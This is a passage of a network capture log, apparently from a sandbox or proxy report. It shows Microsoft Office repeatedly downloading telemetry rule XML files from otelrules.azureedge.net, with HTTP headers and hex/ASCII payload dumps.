2024-11-05 19:51:29 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49847	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:29 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:29 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: a7d47cd0-801e-0067-0c8e-2dfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195129Z-158dbd74bf4kdtcghC1SN10mk400000004ag000000006cmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:29 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49848	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:30 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:30 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4c089dbd-801e-00ac-235c-2efd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195130Z-157b9fd754f26z4rhC1SN1futw00000004w00000000051yv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:30 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49849	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:30 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:30 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a0219141-901e-005b-3761-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195130Z-157b9fd754ft5czbhC1SN1716c00000004tg000000004rf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:30 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49850	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:30 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:30 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: e9a4e3c9-201e-005d-135c-2eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195130Z-158dbd74bf4gbnjwhC1SN1gt5000000004ag000000006hcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:30 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49851	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:30 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:30 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 9a908836-001e-0028-5a40-2ec49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195130Z-157b9fd754f4h2fnhC1SN11f0c00000004wg0000000000vy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:30 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49852	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:30 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:30 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4169e74f-601e-005c-7f5c-2ef06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195130Z-157b9fd754f2v9cjhC1SN1cryn00000004r00000000061dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:30 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49853	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:31 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:31 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 0401437a-901e-0015-114b-2eb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195131Z-158dbd74bf48jc9phC1SN1a5vw0000000210000000006k33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:31 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49854	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:31 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:31 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 62e9641c-201e-003c-0e61-2e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195131Z-158dbd74bf4jjjdmhC1SN1vmen00000004kg000000002fwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:31 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49855	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:31 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:31 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: e6ac82a3-901e-002a-355c-2e7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195131Z-158dbd74bf4t6ws7hC1SN1rd6c00000004eg000000005wum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:31 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49856	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:31 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:31 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: bc9744fd-c01e-0014-0b55-2ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195131Z-157b9fd754fnmqw2hC1SN10ngs00000004v0000000009aa8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:31 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49857	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:31 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:31 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: e21fa4e1-f01e-003f-655f-2ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195131Z-157b9fd754ffv8t9hC1SN1n4w000000004tg000000005pzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:31 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49861	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:31 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
